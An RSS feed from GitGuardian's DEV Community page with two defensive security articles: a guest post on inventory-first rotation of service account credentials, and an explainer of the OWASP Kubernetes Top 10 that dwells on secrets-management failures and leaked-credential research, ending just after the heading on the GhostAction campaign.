<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: GitGuardian</title>
    <description>The latest articles on DEV Community by GitGuardian (gitguardian).</description>
    <link>https://dev.to/gitguardian</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Forganization%2Fprofile_image%2F4775%2Fc847a31e-0f21-49f1-a6fe-7b55c0e0c954.png</url>
      <title>DEV Community: GitGuardian</title>
      <link>https://dev.to/gitguardian</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/gitguardian"/>
    <language>en</language>
    <item>
      <title>Rotating 1,000 Service Account Passwords With Zero Outages: Why the Inventory Comes First</title>
      <dc:creator>Dwayne McDaniel</dc:creator>
      <pubDate>Fri, 30 Oct 2026 13:28:34 +0000</pubDate>
      <link>https://dev.to/gitguardian/rotating-1000-service-account-passwords-with-zero-outages-why-the-inventory-comes-first-2ijc</link>
      <guid>https://dev.to/gitguardian/rotating-1000-service-account-passwords-with-zero-outages-why-the-inventory-comes-first-2ijc</guid>
      <description>&lt;h3&gt;
  
  
  &lt;strong&gt;TL;DR&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Rotation is the last step:&lt;/strong&gt; Rotating more than 1,000 service credentials across more than 150 applications with zero outages showed that most of the work happens before you change a single password.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Controls built for people miss service credentials:&lt;/strong&gt; Service credentials have no human to prompt, no MFA path, often no current owner, and they fail silently. Their copies also spread into scripts, config files, pipelines, and chat.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inventory first, then SCALER:&lt;/strong&gt; Know who uses each account, who owns it, and whether it's still needed. Then follow six stages in order: Scale, Classify, Assign, Lifecycle, Enforce, and Rotate.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzo08us79uwqnsiz7b01t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzo08us79uwqnsiz7b01t.png" alt="Mayank Sethi" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Mayank Sethi
&lt;/h4&gt;

&lt;p&gt;Mayank is a Principal Data Operations Engineer who led the rotation of more than 1,000 service credentials across 150+ applications without an outage. He developed the SCALER framework and presented it at CornCon 12.&lt;br&gt;
&lt;a href="https://www.linkedin.com/in/sethi-m/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4rbc9z1q759z12uchdfi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4rbc9z1q759z12uchdfi.png" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I once led the service account password rotation of more than 1,000 credentials across more than 150 applications. We finished with zero outages. The rotation itself was the easy part. Most of the work happened before we changed a single password.&lt;/p&gt;

&lt;p&gt;That order surprises people. Most teams treat rotation as the job. In my experience, rotation is the last step of a longer process. Skipping the earlier steps is how rotation causes outages.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;The gap a standard identity review misses&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Picture a typical identity review. Multi-factor authentication (MFA) is on for every employee. Single sign-on covers the main applications. Network policies restrict who can reach production. The review passes.&lt;/p&gt;

&lt;p&gt;Now ask a different question. How many service accounts exist on that platform? Who owns each one? When did each credential last change? Most teams can't answer with confidence.&lt;/p&gt;

&lt;p&gt;The broader data on leaked credentials points the same way. GitGuardian found 28.65 million new hardcoded secrets in public GitHub commits in 2025, up 34% from the year before. When it retested &lt;a href="https://blog.gitguardian.com/the-state-of-secrets-sprawl-2026/" rel="noopener noreferrer"&gt;secrets from 2022&lt;/a&gt; in January 2026, more than 64% were still valid. Credentials leak, and then &lt;a href="https://blog.gitguardian.com/why-exposed-secrets-stay-valid/" rel="noopener noreferrer"&gt;&lt;em&gt;they stay live for years&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Service credentials are the passwords, keys, and tokens that applications, scripts, and pipelines use to talk to each other. Most security controls assume a human user. Service credentials don't have one.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Four ways service credentials differ from user passwords&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjgf299almju5ubavk28l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjgf299almju5ubavk28l.png" alt="Four ways service credentials differ from user passwords: no human to prompt, no MFA path, no current owner, and silent failure." width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When a user password expires, a person gets a prompt and resets it. If someone steals it, MFA stands in the way. If it stops working, the user notices within minutes and calls the help desk.&lt;/p&gt;

&lt;p&gt;Service credentials get none of that support:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;No human to prompt:&lt;/strong&gt; When a service credential expires, nobody reads the warning email. The application fails.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No MFA path:&lt;/strong&gt; An application can't approve a push notification.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No current owner:&lt;/strong&gt; The engineer who created the account may have changed teams or left. The credential outlives the person who understood it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Silent failure:&lt;/strong&gt; Change a credential and something can break hours later, in a job nobody linked to that account.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I saw the last one firsthand. Application teams updated the new password in every place they knew about. Then a connection would still fail, from a source nobody could identify. Several systems reached the platform through the same shared network address. The owner had done everything right and still couldn't find the last copy.&lt;/p&gt;

&lt;p&gt;After one incident like that, teams hesitate to touch these credentials at all. So the credentials sit unchanged, sometimes for years.&lt;/p&gt;

&lt;p&gt;User passwords are a people problem, and prompts, training, and MFA handle most of it. Service credentials are an inventory problem. You solve them by knowing what exists, who uses it, and who answers for it.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Why controls built for people miss machine identities&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Single sign-on, MFA, and conditional access all assume a person at a login screen. Service credentials skip the login screen entirely.&lt;/p&gt;

&lt;p&gt;They also hold standing access. A service account often keeps the same permissions on its last day as on its first, even after its job shrinks. Nothing forces a change, so the credential stays valid.&lt;/p&gt;

&lt;p&gt;And service credentials travel. To get work done, teams copy them into scripts, config files, continuous integration pipelines, and chat threads. GitGuardian found that internal repositories are roughly six times more likely than public ones to contain hardcoded secrets. About 28% of incidents start entirely outside repositories, in tools like Slack, Jira, and Confluence.&lt;/p&gt;

&lt;p&gt;The platform itself may be locked down well. Its controls never see the copies scattered across code and collaboration tools.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Two instincts that make it worse&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;When a team finds hundreds of unmanaged service credentials, two responses tend to show up. Each seems reasonable in the moment, and each makes the problem harder to fix.&lt;/p&gt;

&lt;p&gt;The first is to rotate everything immediately. It looks decisive. In practice, it causes the outages you were trying to avoid. Nobody knows which jobs depend on which credential, so each rotation breaks something. After a few incidents, teams stop rotating at all.&lt;/p&gt;

&lt;p&gt;The second is to form a working group first. The group drafts a policy, compares tools, and schedules meetings with application teams. Months pass, and the exposure found on day one stays open.&lt;/p&gt;

&lt;p&gt;Both skip the same step. The first acts without knowing what exists. The second plans without finding out.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;What the inventory has to answer&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Before we rotated anything, every service account needed three answers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Who uses it?&lt;/strong&gt; Which applications, jobs, or pipelines connect with it today?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Who owns it?&lt;/strong&gt; Which person is accountable for it now?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Is it still needed?&lt;/strong&gt; Has anything used it recently?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We didn't have to build most of that from scratch. Application ownership already lived in a configuration database. Account metadata, including last login, already lived on the platform. The missing piece was the join between them. Once we joined the two, most accounts resolved to a named owner automatically.&lt;/p&gt;

&lt;p&gt;The third question paid off fastest. We disabled accounts with no login in 90 days instead of chasing their owners. Owners could request re-enablement through a standard service request if they needed it. That shrank the problem before rotation started.&lt;/p&gt;

&lt;p&gt;It also had a side effect we didn't plan. Once owners could see the last login date for their accounts, they started asking us to disable the ones they no longer needed.&lt;/p&gt;

&lt;p&gt;Platform data is the right starting point because it reflects what is real today. Spreadsheets and documentation drift. But the platform is only half of the inventory. The other half is everywhere its credentials have spread: repositories, config files, pipelines, and chat. Rotate without that half, and the breakage moves downstream.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Six stages, always in this order&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F50ob1poiznuy9zm8mjeu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F50ob1poiznuy9zm8mjeu.png" alt="The SCALER framework for service account rotation as a closed loop: Scale, Classify, Assign, Lifecycle, Enforce, and Rotate, completed in order." width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There was no name for what we did at the time. Looking back, it was six stages, always in the same order. I've called it SCALER since, because the order is the part worth keeping.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Scale:&lt;/strong&gt; Discover every service account from the platform itself, then find where each credential has spread. Use login history to see what is still active.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Classify:&lt;/strong&gt; Tie each account to the application it supports.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Assign:&lt;/strong&gt; Give every account a named human owner, and keep ownership current as people move.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lifecycle:&lt;/strong&gt; Set a policy that makes credentials expire, with warnings well ahead of the deadline.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enforce:&lt;/strong&gt; Make the safe path the easy one. Owners rotate through a workflow they already use, without waiting on a central team.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate:&lt;/strong&gt; Change credentials in a way you can reverse quickly if something breaks.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each stage depends on the one before it. You can't assign an owner to an account you haven't found. You can't enforce expiry on a credential nobody owns, because nobody will act on the warning. Skip a stage, and it shows up later as an outage.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Why a revert path made rotation safer&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;This is the choice many security teams won't like. When a rotation broke something, we let the owner temporarily revert to the old credential.&lt;/p&gt;

&lt;p&gt;That sounds like a step backward, so here is the reasoning. Our platform didn't let an account hold two valid passwords at once. With overlapping credentials, you run the old and new side by side until every consumer switches. We had no overlap window.&lt;/p&gt;

&lt;p&gt;The shared-address problem from earlier is exactly this case. Without a way back, that failure becomes an outage, and the owner learns to fear rotation. With a way back, it stays recoverable.&lt;/p&gt;

&lt;p&gt;Validation belonged to the owners. We could see last login, account status, and connection sources. Only the owner could confirm that their downstream jobs still ran. If validation passed, the expiry policy took over. If it failed, the revert path kicked in.&lt;/p&gt;

&lt;p&gt;The revert kept a failed rotation from turning into an outage. It also kept owners willing to rotate the next time.&lt;/p&gt;

&lt;p&gt;If I ran this program again, I would keep the first four stages exactly as they were. I would change the authentication method. On platforms that support two active keys, key-pair authentication lets old and new overlap until validation is clean. That removes the need for a revert.&lt;/p&gt;

&lt;p&gt;Whatever the credential type, the work still starts with the inventory. The fastest first step is finding where your credentials already live outside the platform.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.gitguardian.com/monitor-internal-repositories-for-secrets" rel="noopener noreferrer"&gt;&lt;em&gt;Scan your repos now.&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is a service account?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A service account is an account that applications, scripts, and pipelines use instead of a person. Its credentials (passwords, keys, and tokens) let those systems talk to each other. Most security controls assume a human user, and service accounts don't have one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the difference between a service account and a user account?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When a user password expires, a person gets a prompt and resets it. MFA protects it if it's stolen, and the user notices within minutes if it stops working. A service account has none of that: no one reads the expiry warning, it can't approve an MFA prompt, its creator may have left, and a changed credential can break a job hours later.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Can you use MFA for service accounts?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not in the usual way. An application can't approve a push notification, and single sign-on, MFA, and conditional access all assume a person at a login screen. Service credentials skip the login screen entirely, so the controls built for people don't protect them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What are the security risks of service accounts?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Service accounts often keep the same permissions on their last day as on their first, even after their job shrinks. Teams copy their credentials into scripts, config files, CI pipelines, and chat threads, where the platform's controls never see them. Because rotating them can cause outages, they often stay unchanged for years.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is service account management?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Service account management means knowing what exists, who uses it, and who answers for it. For every account, that means answering three questions: which applications or pipelines use it today, which person is accountable for it now, and whether anything has used it recently.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do you rotate service account passwords without outages?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Build the inventory first, then rotate. The SCALER method runs six stages in order: Scale, Classify, Assign, Lifecycle, Enforce, and Rotate. On platforms that can't hold two valid passwords at once, a temporary revert path keeps a failed rotation from turning into an outage.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This article is a guest post. Views and opinions expressed in this publication are solely those of the author and do not reflect the official policy, position, or views of GitGuardian. The content is provided for informational purposes; GitGuardian assumes no responsibility for any errors, omissions, or outcomes resulting from the use of this information.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The opinions expressed here are solely those of the author and do not represent the views, positions, or policies of Group 1001 Insurance Holdings, LLC or its affiliates.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>nhi</category>
      <category>passwords</category>
    </item>
    <item>
      <title>OWASP Top 10 Kubernetes Security Risks Explained: Why Credentials Deserve a Closer Look</title>
      <dc:creator>Dwayne McDaniel</dc:creator>
      <pubDate>Tue, 27 Oct 2026 14:40:10 +0000</pubDate>
      <link>https://dev.to/gitguardian/owasp-top-10-kubernetes-security-risks-explained-why-credentials-deserve-a-closer-look-3j6j</link>
      <guid>https://dev.to/gitguardian/owasp-top-10-kubernetes-security-risks-explained-why-credentials-deserve-a-closer-look-3j6j</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;K03 turns one leak into a chain&lt;/strong&gt;: Secrets Management Failures let a single exposed token unlock more credentials. GitGuardian found 44 active clusters reachable through leaked secrets, and 30% had been exposed for over two years.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pipelines and repositories feed the cluster&lt;/strong&gt;: GhostAction targeted 2,577 secret values across 772 repositories, and a public CISA-related repo exposed active credentials, showing how continuous integration and continuous delivery (CI/CD) and source control become paths into Kubernetes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shrink the blast radius across the credential layer&lt;/strong&gt;: Strict RBAC, short-lived workload identity, and credential detection across repos, images, and pipelines limit what any exposed token can reach, with ggshield, AI hooks, and Developer Endpoint Protection preventing new leaks.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Recent attacks make the OWASP Kubernetes Top 10 essential reading
&lt;/h2&gt;

&lt;p&gt;Kubernetes powers modern infrastructure. 82% of container users now run it in production environments, according to the most recent Cloud Native Computing Foundation (CNCF) &lt;a href="https://www.cncf.io/announcements/2026/01/20/kubernetes-established-as-the-de-facto-operating-system-for-ai-as-production-use-hits-82-in-2025-cncf-annual-cloud-native-survey/" rel="noopener noreferrer"&gt;&lt;em&gt;Annual Cloud Native Survey&lt;/em&gt;&lt;/a&gt;. For the majority of DevOps teams who want to run their applications in containers, Kubernetes is the first thing they turn to. Kubernetes (K8s) offers many advantages, but it also has potential pitfalls if you don't set everything up correctly. This is why Kubernetes has its own OWASP Top 10.&lt;/p&gt;

&lt;p&gt;Kubernetes security risks include workloads, identities, and infrastructure. A compromised container can expose a service account. That service account may have permissions to reach other systems, where it could find additional credentials. Credentials very often provide access to systems far beyond the original cluster.&lt;/p&gt;

&lt;p&gt;Recent GitGuardian investigations show how these attack paths work in practice. Researchers discovered leaked credentials that provided access to &lt;a href="https://blog.gitguardian.com/leaked-kubernetes-secret-mitigation/" rel="noopener noreferrer"&gt;&lt;em&gt;44 active Kubernetes clusters&lt;/em&gt;&lt;/a&gt;. The recent round of GhostAction supply chain campaign targeted thousands of &lt;a href="https://blog.gitguardian.com/ghostaction-github-actions-supply-chain-attack-returns/" rel="noopener noreferrer"&gt;&lt;em&gt;K8 credentials through GitHub Actions&lt;/em&gt;&lt;/a&gt;. Another investigation uncovered a public repository containing &lt;a href="https://blog.gitguardian.com/how-we-got-a-cisa-github-leak-taken-down-in-26-hours/" rel="noopener noreferrer"&gt;&lt;em&gt;CISA-related infrastructure configurations&lt;/em&gt;&lt;/a&gt; and active credentials.&lt;/p&gt;

&lt;p&gt;With so much going on in the threat landscape targeting it, we think it is a good time &lt;a href="https://kubernetes-top10.owasp.org/" rel="noopener noreferrer"&gt;to review the &lt;em&gt;OWASP Kubernetes Top 10&lt;/em&gt;&lt;/a&gt;. Its ten categories identify the weaknesses that allow attackers to enter Kubernetes environments, expand their permissions, and reach connected infrastructure.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 10 Kubernetes security risks in the OWASP list
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvzer6goy55qngunny1dh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvzer6goy55qngunny1dh.png" alt="The OWASP Kubernetes Top 10 Kubernetes security risks, K01 to K10, with K03 Secrets Management Failures highlighted." width="800" height="454"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The OWASP Kubernetes Top 10 gives a prioritized view of the most pressing risks affecting Kubernetes environments. These risks are not theoretical, but real-world issues the community is reporting and working on. This includes insecure configurations, weak access controls, and failures in protecting sensitive resources.&lt;/p&gt;

&lt;p&gt;These risks frequently overlap. A compromised workload may expose credentials with excessive permissions. Those permissions may allow an attacker to access additional workloads or cloud resources.&lt;/p&gt;

&lt;h3&gt;
  
  
  K01: Insecure Workload Configurations
&lt;/h3&gt;

&lt;p&gt;Privileged containers, excessive Linux capabilities, and dangerous host mounts can give workloads more access than they require. Attackers who compromise these workloads may gain access to sensitive files or underlying infrastructure.&lt;/p&gt;

&lt;h3&gt;
  
  
  K02: Overly Permissive Authorization Configurations
&lt;/h3&gt;

&lt;p&gt;Role-Based Access Control (RBAC) determines what users and service accounts can access in Kubernetes. Excessive permissions increase the authority available to compromised identities, including the ability to retrieve Kubernetes Secrets or modify workloads.&lt;/p&gt;

&lt;h3&gt;
  
  
  K03: Secrets Management Failures
&lt;/h3&gt;

&lt;p&gt;K03 covers Kubernetes secrets management failures. Applications depend on credentials to connect: API keys, passwords, and tokens, which can leak in plaintext through repositories, container images, and application configurations. Long-lived credentials and other weak authentication schemes increase their usefulness to attackers.&lt;/p&gt;

&lt;h3&gt;
  
  
  K04: Lack of Cluster-Level Policy Enforcement
&lt;/h3&gt;

&lt;p&gt;Admission policies can help enforce security requirements across workloads. While it should be standard for each action to be within policy, inconsistent enforcement allows dangerous configurations and excessive privileges to reach production environments.&lt;/p&gt;

&lt;h3&gt;
  
  
  K05: Missing Network Segmentation Controls
&lt;/h3&gt;

&lt;p&gt;Kubernetes network policies restrict communication between workloads to what is configured correctly. Weak or missing segmentation can allow attackers to move between services after compromising an application. This is particularly dangerous when valid credentials provide access. If an attacker can get access, they should impact the smallest blast radius possible.&lt;/p&gt;

&lt;h3&gt;
  
  
  K06: Overly Exposed Kubernetes Components
&lt;/h3&gt;

&lt;p&gt;The more of the cluster is reachable from the internet, the larger the advantage the attacker has. Exposed API servers and administrative interfaces increase opportunities for unauthorized access. Attackers may exploit vulnerable components or use stolen credentials to interact with cluster management services.&lt;/p&gt;

&lt;h3&gt;
  
  
  K07: Misconfigured and Vulnerable Cluster Components
&lt;/h3&gt;

&lt;p&gt;There are a lot of ways to misconfigure Kubernetes, but also a lot of ways to get things correct. This is the challenge of deploying open source in general. We must get it right and apply regular updates. Vulnerabilities can provide attackers with access to infrastructure or opportunities to increase their privileges.&lt;/p&gt;

&lt;h3&gt;
  
  
  K08: Cluster to Cloud Lateral Movement
&lt;/h3&gt;

&lt;p&gt;Kubernetes workloads often use cloud identities and credentials. This gives clusters the power to be useful, but there is a lot of danger here. Excessive cloud permissions can allow attackers who compromise a workload to access resources outside the cluster.&lt;/p&gt;

&lt;h3&gt;
  
  
  K09: Broken Authentication Mechanisms
&lt;/h3&gt;

&lt;p&gt;When an attacker compromises a system, they can break in, or they can simply log in. Weak authentication controls and poorly protected service account tokens can let attackers impersonate trusted identities and gain permissions that are often set too broadly. Stolen credentials may provide the same access as the legitimate workload or user.&lt;/p&gt;

&lt;h3&gt;
  
  
  K10: Inadequate Logging and Monitoring
&lt;/h3&gt;

&lt;p&gt;If an attack happens, how would you know and how would you prove that? Security teams need visibility into authentication events, API requests, and changes to sensitive resources. Without sufficient monitoring, credential misuse and unauthorized activity are much harder to detect and prove. Auditors need to know when you knew about the issue and what you did.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why K03 deserves special attention
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmly3seohrddx3tk7wpld.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmly3seohrddx3tk7wpld.png" alt="Six ways Kubernetes secrets get exposed under OWASP K03: container images, ConfigMaps, environment variables, code repositories, WATCH or LIST access, and application logs." width="800" height="480"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For K03, Secrets Management Failures, OWASP supplies guidance identifying &lt;a href="https://kubernetes-top10.owasp.org/2025/en/src/K03-Secrets-Management-Failures" rel="noopener noreferrer"&gt;&lt;em&gt;six common ways credentials become exposed&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Secrets in container images:&lt;/strong&gt; Credentials get baked into an image or one of its layers. Anyone who can access the image may be able to recover the secret, and rotation becomes much harder.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secrets in ConfigMaps:&lt;/strong&gt; Sensitive values are placed in ConfigMaps, which often have weaker access controls and are more likely to appear in backups or debugging output.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secrets in environment variables:&lt;/strong&gt; Secrets passed as environment variables can surface in debugging data, process information, crash reports, or other diagnostic output.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secrets in code repositories:&lt;/strong&gt; Credentials committed to source code can spread through clones, forks, CI systems, developer machines, and other copies of the repository.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Excessive &lt;code&gt;WATCH&lt;/code&gt; or &lt;code&gt;LIST&lt;/code&gt; access to Secrets:&lt;/strong&gt; A Kubernetes identity with &lt;code&gt;LIST&lt;/code&gt; or &lt;code&gt;WATCH&lt;/code&gt; permissions on Secret objects can effectively retrieve those secrets at scale. This turns an overly broad RBAC permission into a credential exposure path.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secrets in application logs:&lt;/strong&gt; Applications can accidentally write credentials to &lt;code&gt;stdout&lt;/code&gt; or &lt;code&gt;stderr&lt;/code&gt;, especially when logging configuration or environment state. Those secrets may then spread into centralized logging systems such as Splunk or Elasticsearch and remain there for long periods.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;There are a lot of ways and places these issues can be introduced. Developers may add credentials to Dockerfiles during testing. Automation systems may receive powerful service account tokens. Applications may log sensitive environment variables while diagnosing errors.&lt;/p&gt;

&lt;p&gt;Each exposure can give an attacker usable credentials.&lt;/p&gt;

&lt;p&gt;The permissions associated with a secret determine the consequences of an exposure or attack. A database credential may provide access to customer records. A Kubernetes service account token may allow an attacker to retrieve additional Secret objects. A cloud credential may grant access to infrastructure outside Kubernetes.&lt;/p&gt;

&lt;p&gt;The real risk extends across every system that trusts the exposed credential.&lt;/p&gt;

&lt;h2&gt;
  
  
  Real-world Kubernetes credential leaks expose the larger problem
&lt;/h2&gt;

&lt;p&gt;Three recent GitGuardian investigations demonstrate how credentials can move through software delivery systems and expose connected infrastructure.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Leaked Kubernetes credential opened access to private resources
&lt;/h3&gt;

&lt;p&gt;GitGuardian researchers investigating publicly exposed Kubernetes credentials. They identified 44 active clusters accessible through leaked secrets; this was one research project, and we know many more are exposed every day. In the clusters they examined, four had more than 10 nodes, and one exceeded 200 nodes. A full 30% of the accessible clusters had been exposed for more than two years. The oldest valid leak dated back to 2021.&lt;/p&gt;

&lt;p&gt;One case began when a service account token was embedded in a public Docker image which provided access to a K8 cluster. That cluster contained additional credentials. Ultimately, that key opened access to private container images and GitHub organizations.&lt;/p&gt;

&lt;p&gt;The same research also identified over 2,000 container registry credentials with resolvable hostnames. Forty-six percent remained valid. Those credentials provided access to 309 private Docker Hub images and 730 private GitHub repositories.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4nu4djyyqdqhvas0kxo4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4nu4djyyqdqhvas0kxo4.png" alt="The chain of a credential making it into the container registry" width="800" height="352"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A single leaked token created access to more secrets and additional systems.&lt;/p&gt;

&lt;p&gt;K03 directly connects to excessive authorization and cluster-to-cloud lateral movement. A compromised credential can expose the next credential in the chain.&lt;/p&gt;

&lt;h3&gt;
  
  
  GhostAction targeted credentials inside trusted automation
&lt;/h3&gt;

